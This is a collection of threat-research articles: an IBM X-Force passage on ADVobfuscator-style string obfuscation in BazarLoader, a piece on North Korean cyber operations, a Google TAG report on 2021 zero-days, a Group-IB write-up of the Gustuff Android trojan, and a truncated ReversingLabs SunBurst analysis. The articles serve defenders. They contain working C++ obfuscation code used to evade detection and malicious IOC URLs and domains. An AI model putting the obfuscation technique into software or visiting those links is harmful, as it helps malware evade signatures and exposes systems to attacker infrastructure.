c - '0'; } const int seed = DigitToInt(time[7]) + DigitToInt(time[6]) * 10 + DigitToInt(time[4]) * 60 + DigitToInt(time[3]) * 600 + DigitToInt(time[1]) * 3600 + DigitToInt(time[0]) * 36000; } ``` ### MetaString.h The `MetaString.h` header file consists of versions of a template class named `MetaString` that represents an encrypted string. Through template programming, `MetaString` can encrypt each string with a new algorithm and key during compilation of the code. As a result, a sample could be produced with the following string obfuscation: - Each character in the string is XOR encrypted with the same key. - Each character in the string is XOR encrypted with an incrementing key. - The key is added to each character of the string. As a result, decryption requires subtracting the key from each character. Here is a sample `MetaString` implementation from ADVobfuscator. This template defines a `MetaString` with an algorithm number (N), a key value, and a list of indexes. The algorithm number controls which of the three obfuscation methods are used and is determined at compile time. ```cpp template<int N, char Key, typename Indexes> struct MetaString; ``` This is a specific implementation of `MetaString` based on the above template. The algorithm number (N) is 0, K is the pseudo-random key, and I (Indexes) represent the character index in the string. When the algorithm number 0 is generated at compile time, this implementation is used to obfuscate the string. If the algorithm number 1 is generated, the corresponding implementation is used. ADVobfuscator uses the C++ macro `__COUNTER__` to generate the algorithm number. ```cpp template<char K, int... I> struct MetaString<0, K, Indexes<I...>> { // Constructor. Evaluated at compile time. constexpr ALWAYS_INLINE MetaString(const char* str) : key_{ K }, buffer_{ encrypt(str[I], K)... } { } // Runtime decryption. Most of the time, inlined inline const char* decrypt() { for (size_t i = 0; i < sizeof...(I); ++i) buffer_[i] = decrypt(buffer_[i]); buffer_[sizeof...(I)] = 0; LOG("— Implementation #" << 0 << " with key 0x" << hex(key_)); return const_cast<const char*>(buffer_); } private: // Encrypt / decrypt a character of the original string with the key constexpr char key() const { return key_; } constexpr char ALWAYS_INLINE encrypt(char c, int k) const { return c ^ k; } constexpr char decrypt(char c) const { return encrypt(c, key()); } volatile int key_; // key. “volatile” is important to avoid uncontrolled over-optimization by the compiler volatile char buffer_[sizeof...(I) + 1]; // Buffer to store the encrypted string + terminating null byte }; ``` ## ADVobfuscator Samples Interesting code patterns are observed when samples are built using ADVobfuscator. For example, after compiling the Visual Studio project found in the public Github repo, the resulting code shows the characters of the string being moved to the stack, followed by a decryption loop. These snippets illustrate the dynamic nature of the library. Each string is obfuscated using one of the three obfuscation methods previously described. Not only are the methods different, the opcodes — the values in blue, which are commonly used in developing YARA rules — can vary as well for the same obfuscation method. This makes developing signatures, parsers, and decoders more difficult for analysts. Notably, the same patterns are observed in BazarLoader and BazarBackdoor samples. ## BazarBackdoor/BazarLoader BazarLoader and BazarBackdoor are malware families attributed to the TrickBot threat group, a.k.a. ITG23. Both are written in C++ and compiled for 64bit and 32bit Windows. BazarLoader is known to download and execute BazarBackdoor, and both use the Emercoin DNS domain (.bazar) when communicating with their C2 servers. Other attributes of the loader and backdoor include extensive use of API function hashing and string obfuscation where each string is encrypted with varying keys. The string obfuscation methodology implemented in these files is interesting when compared with the ADVobfuscator samples previously described. ### Bazar String Obfuscation The string obfuscation implemented in variants of BazarLoader and BazarBackdoor is similar to what is implemented in ADVobfuscator. For example, the BazarBackdoor sample `189cbe03c6ce7bdb691f915a0ddd05e11adda0d8d83703c037276726f32dff56` contains a modified version of the string obfuscation techniques found in ADVobfuscator. In this sample, the string is moved to the stack four bytes at a time and the key used in the decryption loop is four bytes. ## TrickBot and Bazar — Ongoing Code Evolution Based on the similarities discovered through the analysis performed by X-Force, it is evident that the authors of BazarLoader and BazarBackdoor malware utilize template-based metaprogramming. While it is possible to break the resulting string obfuscation, the ultimate intent of the malware author is to hinder reverse engineering and evade signature-based detection. Metaprogramming is just one tool in the threat actors’ toolbox. Understanding how these techniques work helps reverse engineers create tools to increase the efficiency of analysis and stay in step with the constant threat malware poses. *Kevin Henson* Malware Reverse Engineer, IBM Kevin joined IBM Security’s X-Force IRIS team as a Malware Reverse Engineer in November 2018 after 21 years of experience in supporting various commercial...
# The Incredible Rise of DPRK’s Cyber Warfare Aahir Das DPRK holds mass parade for Foundation Day. The military doctrine of the Democratic People’s Republic of Korea relies heavily on deliberate deception and denial operations. Their cyber capabilities, despite the banning of any internet services all over the state apart from their native intranet “Kwangmyong,” have gained notoriety for past hacking activities, most remarkably the attacks against Sony Pictures Entertainment in 2014 and the Bangladesh bank heist in 2016, cryptocurrency and bank heists, and ransomware attacks. There is no way to cross-reference or verify whether its deliberate dissemination is accurate. Relying on any open-source information can result in an echo chamber effect of establishing them as evidential facts. North Korea’s existing political and military strategies can help provide context for understanding its cyber strategy. Traditionally, they have relied on a system of asymmetrical and irregular warfare to sidestep the conventional military deadlock in the peninsula. Cyber capabilities provide a risk-minimized means of exploiting USA and ROK vulnerabilities at low intensity. During peacetime, this can allow them to upset the status quo by using cost-effective strategies to target USA and ROK command control, computers, intelligence, surveillance, and reconnaissance (C4ISR) in support of their “quick war, quick end” strategy. Since the 1990s, the DPRK has come a long way in terms of cyber warfare, when the computer infrastructure was rudimentary at best. Kim Jong-il recognized the value of cyber capabilities back then, which gave North Korea ample time to recruit and train human resources and invest in institutions to develop and sustain the country’s assets in cyberspace. DPRK’s priorities in the realm of information and communications technology (ICT) are embedded in the leadership’s national strategy, which is essentially composed of two main parts: national security and economic development. It is no different from any other state, except that the type of regime, division of the two Koreas, and its external environment present several threats and challenges that affect its cyber posture. North Korea, whose government is the only one on earth known to conduct nakedly criminal hacking for monetary gain, has run schemes in some hundred and fifty nations. When in 2009, the US National Intelligence Estimate dismissed North Korea, noting it would take years to develop them into a meaningful threat. Yet right around that time, North Korea reportedly unified all of its intelligence and internal security services and brought them under the direct control of the National Defense Commission to cement the control of current North Korean leader Kim Jong-un. It merged intelligence organizations and its various cyber units such as Bureau 121 into the Reconnaissance General Bureau (RGB). It later became their primary foreign intelligence service and headquarters for cyber operations. In 2013, the RGB reportedly also established Unit 180, tasked with hacking international financial institutions to extract foreign currency in support of North Korea’s nuclear and ballistic missile programs. It would also install malicious backdoors in software development businesses in Japan and China. Over the years, the focus of Unit 180 shifted toward targeting cryptocurrency exchanges while Bureau 121 expanded its cyber operations beyond South Korea by attacking foreign infrastructure elsewhere. North Korea’s cyber operations reflect at least three distinct characteristics. First, North Korea’s cyber units and hacker groups have shown considerable diversity in terms of their capabilities and experience. The line between low-end and high-end North Korean cyberspace operations has frequently been blurred. North Korea can employ non-state actors as surrogates, utilize low-cost, off-the-shelf tools that are freely available, and exploit known techniques such as denial of service attacks. Second, North Korea has gradually demonstrated a resolve for cyber-escalation, targeting the critical infrastructure of other nation-states as well as private corporations and banks for varying political motivations. Increasingly, it also aims to achieve illicit financial gain by bypassing international sanctions and generating foreign currency. Third, the essential ‘dialectics of North Korea’s cyberspace’ is asymmetric. Its internet infrastructure is isolated from global networks, with the country’s entire internet traffic channeled through only two providers — China’s Unicom and Russia’s TransTeleCom. The country is largely unplugged from the global internet and is ringfenced by China’s ‘Great Firewall.’ North Korean hacker groups have therefore been widely dispersed in places such as China, Russia, Southeast Asia, and even Europe, acting independently or mutually supporting each other based on their specific cyber missions. Thus, it is safe to say that the cyber operations carried out by North Korea are not ad hoc, isolated incidents. They are the accumulation of carefully planned efforts under the direction of preexisting organizations that directly support the country’s national strategy. Knowing which organizations do this is extremely crucial because they do not have a published cyber doctrine. The Reconnaissance General Bureau and General Staff Department of the Korean People’s Army generally control most of North Korea’s known cyber capabilities ranging from peacetime provocations to wartime disruptive operations. North Korea has spearheaded fraudulent cyber operations to circumvent sanctions, gaining access to the international financial system and illegally forcing the transfer of funds from financial institutions, SWIFT banking networks, and cryptocurrency exchanges worldwide. At the same time, North Korea has been able to protect its critical infrastructure from potential reprisals, limiting its access, dependencies, and vulnerabilities on the internet and communication networks by relying primarily on China’s internet infrastructure. This has been augmented only recently with a second internet link to Russian networks and the dispersion of its hackers to select countries worldwide, including India, Nepal, Kenya, Mozambique, and Indonesia. Consequently, North Korea’s 21st-century cyber operations have essentially become weapons of mass effectiveness working alongside the weapons of mass destruction in its nuclear arsenal, together composing a unified asymmetric political strategy designed to pressure the United States and the wider international community to recognize as legitimate Supreme Leader Kim Jong-Un’s interpretation of North Korea’s sovereignty and security. Lately, Kim Jong Un has quietly built a 7,000-man cyber army that gives North Korea an edge nuclear weapons do not. As Kim reportedly declared in 2013, “cyberwarfare, along with nuclear weapons and missiles, is an ‘all-purpose sword’ that guarantees our military’s capability to strike relentlessly.”
# How we protect users from 0-day attacks Zero-day vulnerabilities are unknown software flaws. Until they’re identified and fixed, they can be exploited by attackers. Google’s Threat Analysis Group (TAG) actively works to detect hacking attempts and influence operations to protect users from digital attacks, including hunting for these types of vulnerabilities because they can be particularly dangerous when exploited and have a high rate of success. In this blog, we’re sharing details about four in-the-wild 0-day campaigns targeting four separate vulnerabilities we’ve discovered so far this year: - CVE-2021-21166 and CVE-2021-30551 in Chrome - CVE-2021-33742 in Internet Explorer - CVE-2021-1879 in WebKit (Safari) The four exploits were used as part of three different campaigns. As is our policy, after discovering these 0-days, we quickly reported to the vendor and patches were released to users to protect them from these attacks. We assess that three of these exploits were developed by the same commercial surveillance company that sold these capabilities to two different government-backed actors. Google has also published root cause analyses (RCAs) on each of the 0-days. In addition to the technical details, we’ll also provide our take on the large uptick of in-the-wild 0-day attacks the industry is seeing this year. Halfway into 2021, there have been 33 0-day exploits used in attacks that have been publicly disclosed this year — 11 more than the total number from 2020. While there is an increase in the number of 0-day exploits being used, we believe greater detection and disclosure efforts are also contributing to the upward trend. ## Chrome: CVE-2021-21166 and CVE-2021-30551 Over the past several months, we have discovered two Chrome renderer remote code execution 0-day exploits, CVE-2021-21166 and CVE-2021-30551, which we believe to be used by the same actor. CVE-2021-21166 was discovered in February 2021 while running Chrome 88.0.4323.182 and CVE-2021-30551 was discovered in June 2021 while running Chrome 91.0.4472.77. Both of these 0-days were delivered as one-time links sent by email to the targets, all of whom we believe were in Armenia. The links led to attacker-controlled domains that mimicked legitimate websites related to the targeted users. When a target clicked the link, they were redirected to a webpage that would fingerprint their device, collect system information about the client, and generate ECDH keys to encrypt the exploits, then send this data back to the exploit server. The information collected from the fingerprinting phase included screen resolution, timezone, languages, browser plugins, and available MIME types. This information was collected by the attackers to decide whether or not an exploit should be delivered to the target. Using appropriate configurations, we were able to recover two 0-day exploits (CVE-2021-21166 & CVE-2021-30551), which were targeting the latest versions of Chrome on Windows at the time of delivery. After the renderer is compromised, an intermediary stage is executed to gather more information about the infected device including OS build version, CPU, firmware, and BIOS information. This is likely collected in an attempt to detect virtual machines and deliver a tailored sandbox escape to the target. In our environment, we did not receive any payloads past this stage. While analyzing CVE-2021-21166, we realized the vulnerability was also in code shared with WebKit and therefore Safari was also vulnerable. Apple fixed the issue as CVE-2021-1844. We do not have any evidence that this vulnerability was used to target Safari users. ### Related IOCs - lragir[.]org - armradio[.]org - asbares[.]com - armtimes[.]net - armlur[.]org - armenpress[.]org - hraparak[.]org - armtimes[.]org - hetq[.]org ## Internet Explorer: CVE-2021-33742 Despite Microsoft announcing the retirement of Internet Explorer 11, planned for June 2022, attackers continue to develop creative ways to load malicious content inside Internet Explorer engines to exploit vulnerabilities. For example, earlier this year, North Korean attackers distributed MHT files embedding an exploit for CVE-2021-26411. These files are automatically opened in Internet Explorer when they are double-clicked by the user. In April 2021, TAG discovered a campaign targeting Armenian users with malicious Office documents that loaded web content within Internet Explorer. This happened by either embedding a remote ActiveX object using a Shell.Explorer.1 OLE object or by spawning an Internet Explorer process via VBA macros to navigate to a web page. At the time, we were unable to recover the next stage payload, but successfully recovered the exploit after an early June campaign from the same actors. After a fingerprinting phase, similar to the one used with the Chrome exploit above, users were served an Internet Explorer 0-day. This vulnerability was assigned CVE-2021-33742 and fixed by Microsoft in June 2021. The exploit loaded an intermediary stage similar to the one used in the Chrome exploits. We did not recover additional payloads in our environment. During our investigation, we discovered several documents uploaded to VirusTotal. Based on our analysis, we assess that the Chrome and Internet Explorer exploits described here were developed and sold by the same vendor providing surveillance capabilities to customers around the world. On July 15, 2021, Citizen Lab published a report tying the activity to spyware vendor Candiru. ### Related IOCs Examples of related Office documents uploaded to VirusTotal: - [VirusTotal Document 1](https://www.virustotal.com/gui/file/656d19186795280a068fcb97e7ef821b55ad3d620771d42ed98d22ee3c635e67/detection) - [VirusTotal Document 2](https://www.virustotal.com/gui/file/851bf4ab807fc9b29c9f6468c8c89a82b8f94e40474c6669f105bce91f278fdb/detection) Unique URLs serving CVE-2021-33742 Internet Explorer exploit: - http://lioiamcount[.]com/IsnoMLgankYg6/EjlYIy7cdFZFeyFqE4IURS1 - http://db-control-uplink[.]com/eFe1J00hISDe9Zw/gzHvIOlHpIXB - http://kidone[.]xyz/VvE0yYArmvhyTl/GzV Word documents with the following classid: - {EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B} Related infrastructure: - workaj[.]com - wordzmncount[.]com ## WebKit (Safari): CVE-2021-1879 Not all attacks require chaining multiple 0-day exploits to be successful. A recent example is CVE-2021-1879 that was discovered by TAG on March 19, 2021, and used by a likely Russian government-backed actor. (NOTE: This exploit is not connected to the other three we’ve discussed above.) In this campaign, attackers used LinkedIn Messaging to target government officials from western European countries by sending them malicious links. If the target visited the link from an iOS device, they would be redirected to an attacker-controlled domain that served the next stage payloads. The campaign targeting iOS devices coincided with campaigns from the same actor targeting users on Windows devices to deliver Cobalt Strike, one of which was previously described by Volexity. After several validation checks to ensure the device being exploited was a real device, the final payload would be served to exploit CVE-2021-1879. This exploit would turn off Same-Origin-Policy protections in order to collect authentication cookies from several popular websites, including Google, Microsoft, LinkedIn, Facebook, and Yahoo, and send them via WebSocket to an attacker-controlled IP. The victim would need to have a session open on these websites from Safari for cookies to be successfully exfiltrated. There was no sandbox escape or implant delivered via this exploit. The exploit targeted iOS versions 12.4 through 13.7. This type of attack, described by Amy Burnett in "Forget the Sandbox Escape: Abusing Browsers from Code Execution," is mitigated in browsers with Site Isolation enabled such as Chrome or Firefox. ### Related IOCs - supportcdn.web[.]app - vegmobile[.]com - 111.90.146[.]198 ## Why So Many 0-days? There is not a one-to-one relationship between the number of 0-days being used in-the-wild and the number of 0-days being detected and disclosed as in-the-wild. The attackers behind 0-day exploits generally want their 0-days to stay hidden and unknown because that’s how they’re most useful. Based on this, there are multiple factors that could be contributing to the uptick in the number of 0-days that are disclosed as in-the-wild: ### Increase in detection & disclosure This year, Apple began annotating vulnerabilities in their security bulletins to include notes if there is reason to believe that a vulnerability may be exploited in-the-wild, and Google added these annotations to their Android bulletins. When vendors don’t include these annotations, the only way the public can learn of the in-the-wild exploitation is if the researcher or group who knows of the exploitation publishes the information themselves. In addition to beginning to disclose when 0-days are believed to be exploited in-the-wild, it wouldn’t be surprising if there are more 0-day detection efforts, and successes, occurring as a result. It’s also possible that more people are focusing on discovering 0-days in-the-wild and/or reporting the 0-days that they found in the wild. ### Increased Utilization There is also the possibility that attackers are using more 0-day exploits. There are a few reasons why this is likely: - The increase and maturation of security technologies and features mean that the same capability requires more 0-day vulnerabilities for the functional chains. For example, as the Android application sandbox has been further locked down by limiting what syscalls an application can call, an additional 0-day is necessary to escape the sandbox. - The growth of mobile platforms has resulted in an increase in the number of products that actors want capabilities for. - There are more commercial vendors selling access to 0-days than in the early 2010s. - Maturing of security postures increases the need for attackers to use 0-day exploits rather than other less sophisticated means, such as convincing people to install malware. Due to advancements in security, these actors now more often have to use 0-day exploits to accomplish their goals. ## Conclusion Over the last decade, we believe there has been an increase in attackers using 0-day exploits. Attackers needing more 0-day exploits to maintain their capabilities is a good thing — and it reflects increased cost to the attackers from security measures that close known vulnerabilities. However, the increasing demand for these capabilities and the ecosystem that supplies them is more of a challenge. 0-day capabilities used to be only the tools of select nation states who had the technical expertise to find 0-day vulnerabilities, develop them into exploits, and then strategically operationalize their use. In the mid-to-late 2010s, more private companies have joined the marketplace selling these 0-day capabilities. No longer do groups need to have the technical expertise; now they just need resources. Three of the four 0-days that TAG has discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors. Meanwhile, improvements in detection and a growing culture of disclosure likely contribute to the significant uptick in 0-days detected in 2021 compared to 2020, but reflect more positive trends. Those of us working on protecting users from 0-day attacks have long suspected that overall, the industry detects only a small percentage of the 0-days actually being used. Increasing our detection of 0-day exploits is a good thing — it allows us to get those vulnerabilities fixed and protect users, and gives us a fuller picture of the exploitation that is actually happening so we can make more informed decisions on how to prevent and fight it. We’d be remiss if we did not acknowledge the quick response and patching of these vulnerabilities by the Apple, Google, and Microsoft teams.
# Group-IB uncovers Android Trojan named «Gustuff» Group-IB, an international company that specializes in preventing cyberattacks, has detected activity of Gustuff, a mobile Android Trojan, which includes potential targets of customers in leading international banks, users of cryptocurrency services, popular ecommerce websites, and marketplaces. Gustuff has previously never been reported. It is a new generation of malware complete with fully automated features designed to steal both fiat and cryptocurrency from user accounts en masse. The Trojan uses the Accessibility Service, intended to assist people with disabilities. The analysis of Gustuff revealed that the Trojan is equipped with web fakes designed to potentially target users of Android apps of top international banks including Bank of America, Bank of Scotland, J.P. Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, and crypto services such as Bitcoin Wallet, BitPay, Cryptopay, Coinbase, etc. Group-IB specialists discovered that Gustuff could potentially target users of more than 100 banking apps, including 27 in the US, 16 in Poland, 10 in Australia, 9 in Germany, and 8 in India, as well as users of 32 cryptocurrency apps. Initially designed as a classic banking Trojan, Gustuff has significantly expanded the list of potential targets, which now includes, besides banking, crypto services and fintech companies’ Android programs, users of apps of marketplaces, online stores, payment systems, and messengers, such as PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut, etc. ## Weapon of mass infection Gustuff infects Android smartphones through SMS with links to malicious Android Package (APK) files, the package file format used by the Android operating system for distribution and installation of applications. When an Android device is infected with Gustuff, at the server’s command, the Trojan spreads further through the infected device’s contact list or the server database. Gustuff’s features are aimed at mass infections and maximum profit for its operators — it has a unique feature — ATS (Automatic Transfer Systems), that autofills fields in legitimate mobile banking apps, cryptocurrency wallets, and other apps, which both speeds and scales up thefts. The analysis of the Trojan revealed that the ATS function is implemented with the help of the Accessibility Service, which is intended for people with disabilities. Gustuff is not the first Trojan to successfully bypass security measures against interactions with other apps’ windows using Android Accessibility Service. That being said, the use of the Accessibility Service to perform ATS has so far been a relatively rare occurrence. After being uploaded to the victim’s phone, Gustuff uses the Accessibility Service to interact with elements of other apps’ windows including cryptocurrency wallets, online banking apps, messengers, etc. The Trojan can perform a number of actions; for example, at the server’s command, Gustuff is able to change the values of the text fields in banking apps. Using the Accessibility Service mechanism means that the Trojan is able to bypass security measures used by banks to protect against older generations of mobile Trojans and changes to Google’s security policy introduced in new versions of the Android OS. Moreover, Gustuff knows how to turn off Google Protect; according to the Trojan’s developer, this feature works in 70% of cases. Gustuff is also able to display fake push notifications with legitimate icons of the apps mentioned above. Clicking on fake push notifications has two possible outcomes: either a web fake downloaded from the server pops up and the user enters the requested personal or payment (card/wallet) details; or the legitimate app that purportedly displayed the push notification opens — and Gustuff, at the server’s command and with the help of the Accessibility Service, can automatically fill payment fields for illicit transactions. The malware is also capable of sending information about the infected device to the C&C server, reading/sending SMS messages, sending USSD requests, launching SOCKS5 Proxy, following links, transferring files (including document scans, screenshots, photos) to the C&C server, and resetting the device to factory settings. In order to better protect their clients against mobile Trojans, companies need to use complex solutions that allow detecting and preventing malicious activity without additional software installation for end-users. Signature-based detection methods should be complemented with user and application behavior analytics. Effective cyber defense should also incorporate a system of identification for customer devices (device fingerprinting) to detect the usage of stolen account credentials from unknown devices. Another important element is cross-channel analytics that help to detect malicious activity in other channels. ## Used mainly outside Russia Although the Trojan was developed by a Russian-speaking cybercriminal, Gustuff operates exclusively on international markets. All new Android Trojans offered on underground forums, including Gustuff, are designed to be used mainly outside Russia and target customers of international companies. In Russia, after the owners of the largest Android botnets were arrested, the number of daily thefts decreased threefold, Trojans’ activity became significantly less widespread, and their developers focused on other markets. However, some hackers “patch” (modify) the Trojan samples and reuse them in their attacks on users in Russia. Group-IB’s Threat Intelligence system first discovered Gustuff on hacker forums in April 2018. According to its developer, nicknamed Bestoffer, Gustuff became the new, updated version of the AndyBot malware, which since November 2017 has been attacking Android phones and stealing money using web fakes disguised as mobile apps of prominent international banks and payment systems. Gustuff is a “serious product for individuals with skills and experience,” as advertised by the Trojan’s developer. The price for leasing the “Gustuff Bot” was $800 per month. Group-IB Threat Intelligence customers were notified about Gustuff upon discovery. A team of Group-IB analysts continues to research the Trojan.
# SunBurst: The Next Level of Stealth **Threat Research | December 16, 2020** **Blog Author: Tomislav Peričin, Chief Software Architect & Co-Founder at ReversingLabs** ## Executive Summary ReversingLabs: - Shows conclusive details that Orion software build and code signing infrastructure was compromised. - Discloses compilation artifacts confirming that Orion source code was directly modified to include a malicious backdoor. - Discloses software delivery artifacts confirming that a backdoored Orion software patch was delivered through its existing software release management system. - Proposes a novel approach to detect and prevent future software supply chain attacks. ## Summary SolarWinds, a company that makes IT monitoring and management solutions, has become the latest target of a sophisticated supply chain attack. Multiple SolarWinds Orion software updates, released between March and June 2020, have been found to contain backdoor code that enables the attackers to conduct surveillance and execute arbitrary commands on affected systems. ReversingLabs' research into the anatomy of this supply chain attack unveiled conclusive details showing that Orion software build and code signing infrastructure was compromised. The source code of the affected library was directly modified to include malicious backdoor code, which was compiled, signed, and delivered through the existing software patch release management system. While this type of attack on the software supply chain is by no means novel, what is different this time is the level of stealth the attackers used to remain undetected for as long as possible. The attackers blended in with the affected code base, mimicking the software developers’ coding style and naming standards. This was consistently demonstrated through a significant number of functions they added to turn Orion software into a backdoor for any organization that uses it. ## Hiding from Software Developers Piecing together a story from the outside of the incident is difficult. However, the trail of breadcrumbs left behind is sufficient to glean some insight into the methods the attackers used to compromise the Orion software release process. Such an investigation typically starts with what’s known, which in this case is the list of backdoored software libraries. A file named `SolarWinds.Orion.Core.BusinessLayer.dll` within the Orion platform software package update `SolarWinds-Core-v2019.4.5220-Hotfix5.msp` is the first version known to contain the malicious backdoor code. That library has been thoroughly analyzed in FireEye's technical blog, which describes the backdoor behavior very well. However, we can draw further conclusions about the attackers’ patience, sophistication, and the state of the Orion software build system from the analysis of metadata. While the first version to contain the malicious backdoor code was `2019.4.5200.9083`, there was a previous version that was tampered with by the attackers: version `2019.4.5200.8890`, from October 2019, which had only been slightly modified. While it doesn’t contain the malicious backdoor code, it does contain the .NET class that will host it in the future. This first code modification was clearly just a proof of concept. Their three-step action plan: compromise the build system, inject their own code, and verify that their signed packages are going to appear on the client side as expected. Once these objectives were met, and the attackers proved to themselves that the supply chain could be compromised, they started planning the real attack payload. The name of the class, `OrionImprovementBusinessLayer`, had been chosen deliberately. Not only to blend in with the rest of the code, but also to fool the software developers or anyone auditing the binaries. That class, and many of the methods it uses, can be found in other Orion software libraries, thematically fitting with the code found within those libraries. This implies not only the intent to remain stealthy, but also that the attackers were highly familiar with the code base. Compare, for instance, the functions that compute the UserID. In the Orion Client code, this function tries to read the previously computed value from the registry or creates a new GUID for the user. Mimicking that, the attackers created their own implementations of these functions to also compute the UserID, and named them the same way. Their functions are even using the same GUID format for the ID type later on. While not spot on, this code performs a similar function as the original. The pattern of naming classes, members, and variables appropriately is visible everywhere in the backdoored code. There really is a method called `CollectSystemDescription` and `UploadSystemDescription` used by Orion Client library code. Just like there was an `IOrionImprovementBusinessLayer` interface the attackers mimicked for the name of the class in which they placed the backdoor code. However, any code added to the library doesn’t just magically execute itself. The attackers still need to call it somehow. And the way that was done tells us that the build system itself was compromised. Code highlighted in red is the additional functionality the attackers put in. This small block of code creates a new thread that runs the backdoor while Orion software is performing its background inventory checks. Such a location is perfect for this kind of code to be added, as the original code is already dealing with the long-running background tasks. So like the rest of the attacker-injected code, it just blends in. While there are techniques to decompile the .NET code, inject something new, and recompile the code afterwards, this wasn’t the case here. The `InventoryManager` class was modified at the source code level, and the file was ultimately built with the regular Orion software build system. This can be confirmed by looking at the timestamps for the backdoored binary, other libraries within the same package, and the patch file that delivers them. Timestamps between the PE file headers and the CodeViews match perfectly. That, with the revision number set to one, means that the file was compiled only once – or that it was a clean build. Since the file was signed, and cross-signed for timestamping, the timestamps within the headers can be reliably validated. The cross-signing timestamp is controlled by a remote server that is outside of the build environment and can’t be tampered with. Signing occurred within a minute of library compilation. That leaves no time for the attackers to be able to monitor the build system, replace the binary, and change the metadata to match this perfectly. The simplest way for all these timestamp artifacts to align perfectly is to have the attackers’ code injected directly into the source, and then have the existing build and signing system perform the compilation and release processes as defined by the Orion software developers. Finally, the MSP patch file contains a CAB archive that preserves the local last modified time for the library. Which, assuming the build system is running in the GMT+1 time zone, also confirms that the file was last modified during signing. The files surrounding the backdoored library that belong to the same namespace were also compiled at the same time. Since they don’t depend on each other, they wouldn’t be built at the same time unless the build system was not running a complete build. Since the MSP patch file is signed, and its signing time matches the contents of the package, this confirms that the patch file was created on the same machine as the rest of the build. The big question is: was source control compromised, or was the attackers' code just placed on the build machine? Unfortunately, that is something the metadata can’t reveal. There are no such artifacts that get preserved during software compilation. But the attackers went through a lot of trouble to ensure that their code looks like it belongs within the code base. That was certainly done to hide the code from the audit by the software developers. What is certain is that the build infrastructure was compromised. In addition, the digital signing system was forced to sign untrusted code. While there’s no evidence at the moment that SolarWinds certificates were used to sign other malicious code, that possibility should not be excluded. And, as a precaution, all certificates and keys used on that build system should be revoked. ## Hiding from Security Analysts Consider for a second the type of customer that runs Orion software within their environment. For a software supply chain attack like this to work, the attackers need to keep under the radar and evade millions of dollars of security investment. They need to fool the highly specialized detection software, the people that run it to detect threats, and use it to proactively hunt for anomalies – for months. To pull that trick off, the attackers need to strike the right balance between staying hidden and achieving their objective. Large security budgets come with quite a lot of perks. Being able to do internal threat hunting is certainly one of them. And there’s nothing more threat hunters like to look for than anomalies in their data. YARA rules are just one way of finding odd things just laying about. The string “Select * From Win32_SystemDriver” is probably found in quite a few of them. That is why the attackers chose to hide all such noisy strings with a combination of compression and Base64 encoding. Such a two-step approach was necessary because there are also quite a few hunting rules out there that look for Base64 variants of the aforementioned string. By reversing those steps, `C07NSU0uUdBScCvKz1UIz8wzNooPriwuSc11KcosSy0CAA==` found above becomes “Select * From Win32_SystemDriver”. And all the threat hunting rules stay none the wiser. Such string obfuscation is repeated throughout the code. And that’s the balance between standing out in a software developer review and fooling the security systems, a gamble that has paid off for the attackers. ## Preventing Supply Chain Attacks Very few security companies are focused on securing the software supply chain. For most, talking about reducing the risks that these types of attacks pose is far-off. In many ways, we’re still in the problem awareness phase. And, as unfortunate as they are, incidents like this help draw attention to this multifaceted problem, one that equally affects those that ship software and those that consume it. ReversingLabs research and development teams pride themselves on thinking about such big problems before they become widespread concerns. To that goal, we built many prototypes of products and solutions to address such problems. Software supply chain protection is certainly a huge problem waiting to be solved. And internally, we've defined product strategies about protecting both sides of the equation - the developer and the user. We envisioned a system able to scan “gold” software release images prior to their release or consumption. This system is purposely built to look for software tampering, digital signing, and build quality issues. It is ingrained into the continuous software development and release cycle, with the aim to bring these issues to the surface and provide guidance in eliminating them. One key aspect of such a system is the ability to pinpoint behavioral differences between compiled software versions. Dubbed static behavioral indicators, these descriptions translate the underlying code actions into the effects they could have on the machine that runs them. When laid out as a difference between added (green) and removed (red) code, the effects of software behavior changes become apparent. For the backdoored SolarWinds binary, this raises a number of security alarms that would have made it possible to catch this supply chain attack much sooner. ## Important Static Code Behavior Changes 1. **Reads information about one or more running processes** Having an application suddenly become aware of other running processes in the environment is highly unusual. For mature code bases, this functionality is typically added in major releases. There’s typically a big feature planned behind this kind of code. And there’s usually a good reason for the addition: some type of inter-process communication, or a desire to control running processes. In any other scenario, such an unplanned addition would be a cause for concern. 2. **Contains references to MD5/SHA1 algorithm .NET Framework classes** While not highly unusual, hashing algorithms like MD5 and SHA1 are typically implemented to solve a specific problem. It’s either some sort of content validation, authentication, or uniqueness check. Each of these can usually be mapped to a high-level requirement and tracked back to a feature modification request or a similar development task. 3. **Contains references to kernel32.dll / advapi32.dll native Windows API** Referencing native Windows APIs from .NET library all of a sudden is very unusual. While the underlying code that interacts with the system is a necessity, even for managed applications, there are better ways of doing it. For example, provided language runtimes can typically achieve the same effect as what most developers require from native functions, but without having to deal with type uncertainty. By itself, regardless of the supply chain attack context, this is what developers refer to as code smell. 4. **Enumerates system information using WMI** Windows Management Instrumentation (WMI) is a set of system functions that enable the application to get information on the status of local and remote computer systems. IT administrators use these functions to manage computer systems remotely. Understanding why such functionality is added suddenly is crucial. It is unlikely that the scope of the application has changed so dramatically that the interaction between remote computer systems has become a part of its key tasks. And if the goal is to retrieve something from the local system, there might already be code that has that information. 5. **Enumerates and tampers with user/account privileges** Looking up user or account privileges is typically the first step in having them elevated. Running code at elevated privileges is done to perform a limited action, like copying files to restricted folders, manipulating running processes, changing system settings, etc. These are all actions that must have a firm reason behind them, and adding them to a mature code base is at least questionable. A developer should be made aware of this type of thing and should have to sign off on it. 6. **Tampers with system shutdown** Sticking with the theme of unnecessary privileges for an application, we have a big red flag at the end. Being able to shutdown or reboot a computer isn’t something that’s added to code unexpectedly. That is a feature that takes coordination between multiple code components and is usually implemented at a single location within the application. Having it appear elsewhere is definitely cause for concern. Regardless of the side of the software deployment process one finds themselves on, a report about the impact of software code changes is an invaluable piece of information. For software developers, it can lead to informed decisions about the underlying code behavior. And for software consumers, it can ensure detection of anomalous code additions. Either way, the impact of such a system is transformative to software deployment processes. It serves as a verification barrier that can make it harder for these kinds of software supply chain attacks to recur. ## New Control Mechanisms Needed SUNBURST illustrates the next generation of compromises that thrive on access, sophistication, and patience. For companies that operate valuable businesses or produce software critical to their customers, inspecting software and monitoring updates for signs of tampering, malicious or unwanted additions must be part of the risk management process. This type of tampering exploits software distributions that are trusted by the traditional security software stack, which is unique in comparison to known malicious implants. The distributions could not be easily inspected, if at all, by any perimeter control. Hiding in plain sight behind a globally known software brand or a trusted business-critical process gives this method access that a phishing campaign could only dream to 